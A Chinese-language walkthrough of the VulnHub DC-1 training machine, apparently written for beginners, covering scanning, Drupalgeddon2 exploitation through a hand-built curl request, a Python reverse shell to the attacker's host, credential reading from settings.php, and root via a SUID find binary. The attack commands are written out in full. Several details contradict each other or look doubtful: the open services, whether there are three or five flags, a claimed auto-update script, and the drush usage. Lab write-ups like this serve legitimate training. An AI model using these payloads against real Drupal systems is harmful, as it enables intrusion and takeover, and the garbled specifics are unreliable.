1. 从DHCP地址到Drupal 7:先把DC-1靶场环境配到自己手里
1.1 DC-1到底是一台什么样的靶机
先交代一下背景。DC-1是VulnHub上DCAU系列的第一台靶机,作者是DCAU团队。它基于Drupal 7旧版本搭建,目标非常明确:通过渗透手段拿到这台机器上的所有flag,最终获取root权限。很多安全培训机构和CTF初学者都会把DC-1列为入门第一台,因为它的难度曲线很平缓,没有花里胡哨的编码绕过,也没有需要脑洞大开的偏门考点,考的几乎全是基本功——信息收集、漏洞识别、漏洞利用、权限提升,每一步都能在实际工作中找到对应场景。
我最初打DC-1的时候其实有点轻敌,觉得不过是一台老掉牙的Drupal站,扫出来漏洞直接打就完了。结果真正动手才发现,信息收集如果做得不仔细,后续所有步骤都会卡壳。这一点后面展开讲。先说说环境准备,因为这一步如果没弄对,后面全是白费。
DC-1的下载方式很简单,从VulnHub页面下载一个zip或ova格式的镜像,解压后得到一个.ova文件,可以直接导入VMware Workstation,也可以导入VirtualBox。导入的时候参数基本不用改,默认设置就能跑。唯一要注意的是靶机默认会走DHCP自动获取IP,所以你的虚拟网络环境里必须有一个能分配IP的网段,否则它启动后会一直停在“waiting for DHCP”的状态。
1.2 Kali、靶机和网络拓扑怎么搭最顺手
我的建议是:Kali和DC-1都挂在NAT模式下。这样做的原因是NAT模式下两台虚拟机共享宿主机的外网出口,DHCP分配地址的流程最稳定,很少出现网络不通的问题。如果你用桥接模式,虽然也能打,但会受到宿主机所在局域网内DHCP、防火墙策略、甚至其他设备IP冲突的影响,对于新手来说排查成本偏高。
启动顺序上,先开Kali,等它完全进入系统后再开DC-1。DC-1启动过程比较慢,因为里面跑着MySQL和Apache,你可以观察到它启动后直接在终端里显示了登录提示符,默认是不告诉你IP的。这时候打开Kali的终端,用下面两个命令之一扫一下同网段的存活主机:
arp-scan -lnmap -sn 192.168.xxx.0/24如果你用的是VMware的NAT模式,Kali的IP网段一般对应VMnet8,通常形如192.168.137.0/24或者192.168.221.0/24。用ip addr先确认Kali自己的IP,再把C段套进上面的命令。
扫出来的存活主机里,除了Kali自己、网关(一般是.1或.2结尾)之外,多出来的那台就是DC-1。我实测时它往往落在类似192.168.221.136这样的地址上,但每次环境不同,DHCP分配结果会有差异,别抱着固定IP不放。
1.3 打这台靶机需要准备哪些工具
Kali自带的工具完全够用,不需要额外装什么重型软件。我用到的工具清单如下:
| 工具 | 用途 | 是否Kali预装 |
|---|---|---|
| arp-scan / nmap | 主机发现、端口扫描、服务版本识别 | 预装 |
| gobuster / dirb | Web目录扫描 | 预装 |
| curl | 手动构造HTTP请求 | 预装 |
| nc(netcat) | 反弹Shell监听 | 预装 |
| python3 | 反弹Shell、交互式TTY辅助 | 预装 |
| droopescan | Drupal专用扫描器 | 需pip安装 |
| searchsploit | 本地漏洞库检索 | 预装 |
如果你之前没装过droopescan,可以用pip直接装:
pip install droopescan装完先跑一下droopescan -h确认可用。这个工具在国内网络环境下偶尔会下载失败,多试几次或者换个源就好,但它确实值得装,因为对Drupal站的漏洞探测效率比手动翻页面高得多。
环境这块搞定之后,就进入正题了。整个渗透流程我建议你跟着做,不要跳步,每一步都有它存在的理由。
2. 端口扫描和目录探测:为什么这一层不能跳
2.1 先搞清楚靶机开放了哪些服务
拿到DC-1的IP后,先做一次全端口、服务识别加默认脚本扫描。这一步我习惯的命令长这样:
nmap -sS -sV -sC -p- 192.168.221.136参数解释一下:-sS是SYN半开扫描,速度快;-sV是服务版本识别;-sC是跑默认安全脚本;-p-是扫描全部65535个端口,防止靶机把端口放在非常规位置。
我这里只看到一个Web服务在跑,20到30秒左右扫完。DC-1的结果比我预想的还干净,只开放了22/tcp ssh和80/tcp http,外加一个111/tcp rpcbind。SSH是OpenSSH 6.x,一看就是老系统,Web服务是Apache,具体版本信息在响应头里能看到。
很多人扫到这里就开始打Web了,这没有错,但我建议你顺手把SSH和系统版本也记下来,因为后续如果Web路径走不通,SSH弱口令和系统已知漏洞也是备选进入方式。虽然DC-1实际上不需要走SSH,但养成记录所有暴露面的习惯,对你打其他靶场会很有帮助。
2.2 浏览器访问首页,看到的东西比想象中少
用浏览器打开http://192.168.221.136,你会看到Drupal默认的安装欢迎页面。这个页面本身没什么可利用的,但别急着关,留意一下页面源代码里的提示。DC-1首页源码里没有直接给出flag,官方设计是把flag藏在后续多个位置,每个flag文本之间还会互相提示下一步怎么走。
接着看HTTP响应头,用curl会更直观:
curl -s -I http://192.168.221.136返回的Server字段会告诉你Apache版本,X-Powered-By头如果存在,还会暴露PHP版本。这些信息在后续构造利用payload时有用,尤其是当靶机存在WAF或者特殊解析规则时,版本信息能帮你避开一些坑。
2.3 目录扫描:robots.txt和README.txt里藏着第一份情报
很多人觉得Drupal站点的目录结构是固定的,没必要扫。但DC-1恰恰在目录扫描这一步埋了伏笔。我用gobuster扫了一遍常见目录:
gobuster dir -u http://192.168.221.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50扫出来的东西里,/robots.txt和/CHANGELOG.txt最值得关注。robots.txt里通常有Drupal开发者主动屏蔽的路径,比如/user/login、/admin、/sites这些,虽然屏蔽不代表不能访问,但它能让你快速了解站长在隐藏什么。CHANGELOG.txt更狠,它直接暴露了Drupal小版本号,比如Drupal 7.56,这个信息对后续精确匹配漏洞极其重要。
我实测扫到了这些目录,同时确认了这是一个Drupal 7的站点,而且从文件时间戳来看,这套系统安装之后几乎没做过安全更新。到这里,信息收集阶段基本完成,接下来就是判断漏洞、准备利用。
3. 利用Drupal漏洞打穿Web层:从探测到反弹Shell的完整链路
3.1 用droopescan确认漏洞面
拿到“Drupal 7 + 老版本”这个信息后,我直接用droopescan扫了一遍:
droopescan scan drupal -u http://192.168.221.136输出结果里会列出来Drupal版本、启用的模块、以及它认为存在漏洞的模块。DC-1的官方推荐路径是走RESTful Web Services模块的漏洞,但这里有个更经典也更稳的选择——Drupalgeddon2(CVE-2018-7600)。这个漏洞影响Drupal 7.x的大部分版本,原理是Drupal处理表单数组时,没有正确过滤某些#post_render、#type、#markup等数组键,导致攻击者可以把PHP代码注入到表单渲染流程里执行。
我建议你在打DC-1之前,先在本地用searchsploit看一眼相关模块:
searchsploit drupal 7输出里会列出很多Drupal 7的利用脚本,编号、路径、适用版本都清清楚楚。DC-1上用Drupalgeddon2足够,不需要把每个脚本都试一遍。
3.2 Drupalgeddon2的利用原理,五句话讲清楚
Drupal的注册、登录、评论提交这些功能,都依赖Form API。Form API在渲染表单时,会允许开发者用数组形式定义表单结构,比如mail[a][#markup]这种写法。问题出在Drupal 7对用户提交的数组参数处理得不够严谨——它会把数组里以#开头的键当作渲染选项来解析,而渲染选项里有些回调用法是可以直接执行代码的,比如#post_render指向exec函数时,#markup里写的字符串就会变成系统命令被直接执行。
攻击者要做的事情就是:找一个接收POST参数的地方,把表单ID和恶意数组一起提交过去,让Drupal把我们的命令当作渲染函数参数执行。利用成功后,命令输出会直接显示在HTTP响应里,或者通过反弹Shell的方式把控制权拿回来。
3.3 用curl手工打一次Drupalgeddon2
我推荐先不用现成脚本,手工构造一次请求,这样能加深理解。以下请求在DC-1的/user/register路径上实测可行:
curl -i -s -k -X 'POST' \ -H 'User-Agent: MyDrupalBot' \ --data-binary 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=id' \ 'http://192.168.221.136/user/register'如果漏洞存在,响应体里会包含uid命令的执行结果,也就是当前运行Apache的账户身份,通常是www-data。这一步的目的就是验证命令执行是否成功,先跑一个无害的id命令,别一上来就反弹Shell,万一命令语法错了你都不知道是哪一步的问题。
确认命令执行成功后,把mail[a][#markup]的值改成反弹Shell命令。比如Kali的IP是192.168.221.128,在8080端口监听,先用nc起一个监听:
nc -lvnp 8080然后把id换成下面这段:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.221.128",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'注意这里需要对整段payload做URL编码,尤其是引号、括号、分号和空格。一个偷懒的办法是把payload写进一个变量再拼到curl里,或者直接用--data-urlencode参数。我看到很多人卡在这一步,就是因为&符号和+号没有正确编码,导致Drupal解析参数时把payload截断了。
3.4 拿到www-data后,第一件事不是翻flag,而是连数据库
反弹Shell连回来,你会得到一个低权限的www-data账户。此时你确实能读一些文件,但DC-1的设计是,flag1就在Web目录里,但flag2藏在更深的地方。进入Shell后先用python3 -c 'import pty;pty.spawn("/bin/bash")'把Shell升级成交互式的,不然Tab补全、Ctrl+C这些都用不了,后续操作会很别扭。
接下来要找到Drupal的数据库配置。Drupal 7的数据库配置文件在sites/default/settings.php,直接读它:
cat /var/www/sites/default/settings.php里面会有数据库名、用户名、密码,典型配置长这样:
'database' => 'drupaldb', 'username' => 'drupaluser', 'password' => 'something', 'host' => 'localhost',有了这套凭据,就可以连上本地的MySQL,把Drupal的后台管理员账号密码重置或者直接查出来。DC-1的flag3就藏在这个数据库里,存于内容表中,文本会提示你去后台找某个节点。
这里有个更高级的操作:Drupal自带一个命令行工具drush,就在/var/www/vendor/drush/drush/drush路径下。用它可以一句话生成管理员登录链接,都不用改密码:
cd /var/www && php vendor/drush/drush/drush.php user-login admin执行后会输出一个一次性登录URL,用浏览器打开就直接进入了Drupal后台,比手动改数据库方便得多。到了后台之后,翻一下内容管理里的各个节点,flag3就在某个页面或者文章的正文里。
到目前为止,我们已经拿到了三个flag中的三个,但离root还差最后一步。DC-1的精髓也正在这里——Web层的低权限Shell并不难拿,难的是怎么把权限提上去。
4. SUID提权:为什么find命令能变成通向root的钥匙
4.1 低权限Shell里看到的系统布局,决定了提权思路
拿到www-data权限后,先对整个文件系统做个侦察。DC-1的flag2会提示你“查看一下权限配置有没有问题”,这里的“权限配置”指的就是SUID位。我执行的命令是:
find / -perm -4000 -type f 2>/dev/null这行命令的意思是:在整个文件系统里找出所有设置了SUID位的普通文件。-perm -4000是匹配权限位中的setuid标志,-type f限定为普通文件,2>/dev/null是过滤掉权限不足导致的报错输出。
命令执行后,除了常见的/usr/bin/sudo、/usr/bin/passwd这些系统默认项外,我注意到了一个非常扎眼的条目:/usr/bin/find。正常情况下,find命令根本不需要SUID权限,它只是一个文件搜索工具,任何普通用户都能正常运行。系统管理员几乎不会给find设置SUID位,除非是配置失误。
这个配置失误就是DC-1留给我们的提权通道。
4.2 find命令为什么能执行任意命令
这里得说清楚SUID的原理。Linux系统的每个文件都有权限位,其中特殊权限位包括SUID(4000)、SGID(2000)和Sticky Bit(1000)。当一个文件设置了SUID位后,其他用户执行这个文件时,进程的有效用户ID会变成文件属主的用户ID,而不是当前登录用户的ID。
换句话说,如果/usr/bin/find的属主是root,并且设置了SUID位,那么任何普通用户执行这个find时,系统都会以root身份来运行它。这就相当于系统发给每个普通用户一张写着“root”的临时工牌——你本人不是root,但你运行的这个程序拥有root权限。
find命令本身有一个-exec参数,允许在找到文件后执行指定的命令。这就产生了一个危险的组合:一个以root身份运行的find,配合一个能执行任意命令的-exec参数,等于给了我们一个root权限的命令执行通道。我在提权时执行的命令是:
find / -exec whoami \;结果是root,这就证明思路没问题。更激进一点的写法是直接弹一个交互式Shell:
find / -exec /bin/sh \;或者:
find / -exec bash -i \;执行后,当前Shell会变成root权限的Shell,输入id确认,看到uid=0(root)的那一刻,DC-1这台机器基本上就算打穿了。
4.3 从root目录里取出最后一个flag
拿到root Shell后,去root的家目录看一眼:
cd /root && ls -la最后一个flag就在/root/thefinalflag.txt里,cat一下就能看到。DC-1的收尾flag通常会给出一些鼓励性的提示,并且告诉你这次训练覆盖了哪些技能点。到这里,DC-1的五个flag已经全部拿到,整个靶场通关。
但我必须提醒一句:SUID提权在真实环境中并没有这么理想。真实的Linux系统很少会给find这种命令设置SUID位,更多见的是某些脚本、二进制程序带着SUID,或者sudo配置留了某个命令的免密权限。所以DC-1教给你的不是“用find提权”这一个操作,而是“当某个你能执行的文件以root身份运行时,它能不能变成命令执行通道”这种思维方式。之后打DC-2、DC-3,你还会遇到类似但更隐蔽的提权技巧,套路略有不同,但底层的权限模型是同一套。
5. 打完之后我踩过的坑和下一步的进阶思路
5.1 反弹Shell连不上,八成是监听地址和payload地址不匹配
我在第一次打DC-1时,反弹Shell折腾了很久都没成功。排查了半天,发现是Kali的IP变了,但我payload里写的还是旧IP。这里建议你在执行反弹Shell之前,先在Kali上确认一下当前IP,最好把payload里的IP写在纸上,再核对一遍。另一个常见问题是Kali防火墙拦截了入站连接,如果你的nc监听收不到任何数据,先跑sudo ufw status看看防火墙状态,必要的时候用sudo ufw allow 8080/tcp放行。
还有一个隐蔽的坑是:Drupalgeddon2的payload中不能出现裸&号,因为HTTP参数分隔符就是&,必须做URL编码。如果你看到类似“参数错误”或页面返回500,先检查是不是&、?、=这些字符没有被转义。用--data-urlencode传参能省掉大部分编码问题。
5.2 打靶过程中Drupal突然“变干净”了,可能是自动更新在捣乱
DC-1的作者在靶机里放了一个自动更新脚本,它会定期从源站拉取Drupal更新包。如果你打得很慢,靶机自己把Drupal版本升上去,Drupalgeddon2这个漏洞可能就失效了,页面也会从初始状态变成已更新状态。这是很多人打DC-1打了一半突然找不到入口的原因。
解决方案有两个:一个是在开始前对靶机打一个快照,万一更新发生了就回滚重来;另一个是拿到Shell后第一时间把更新脚本或者对应cron任务停掉。我个人更推荐快照方案,因为你很难预测它什么时候触发更新,与其和它比速度,不如多留几条后路。
5.3 别一上来就暴力破解后台登录,那是最笨的路
有些朋友拿到Drupal站点后第一反应是用wpscan或者Burp Suite去爆破/user/login。我不建议这么干,DC-1的Drupal后台登录页并没有限制尝试次数,但爆破成功的概率极低,纯粹浪费时间。正确的思路是先看漏洞、再看配置、最后才是爆破密码。Drupal 7年代积累了大量公开漏洞,CMS本身的安全性远弱于它的后台密码复杂度,直接从漏洞入手往往是一条更短的路径。
打DC-1想进阶,我总结了一个顺序:先自己从头到尾打一遍,不看任何答案;复盘卡点的时候,把每个卡住的知识点单独补一轮;然后再去看别人的WriteUp,对比思路差异。如果你打DC-1觉得吃力,多半是Linux基础不到位,先把find的常用参数、权限模型、用户和组的概念弄熟,比刷更多靶场更有效。DC-1通了之后,可以继续打DC-2、DC-3,它们同属一个系列,思路有延续性,但每台都会引入新的知识点。再往后,VulnHub上的Kioptrix系列、HackTheBox的入门级机器也都是很好的练习对象。
最后说点实在的:打靶场不是目的,养成的分析习惯才是。DC-1教会我的最有价值的东西,不是某一条curl命令怎么写,而是永远先做充分的信息收集,再做最小范围的验证,最终沿着一条可靠的路径拿到结果。这个节奏,在我后来处理真实漏洞应急的时候,依然适用。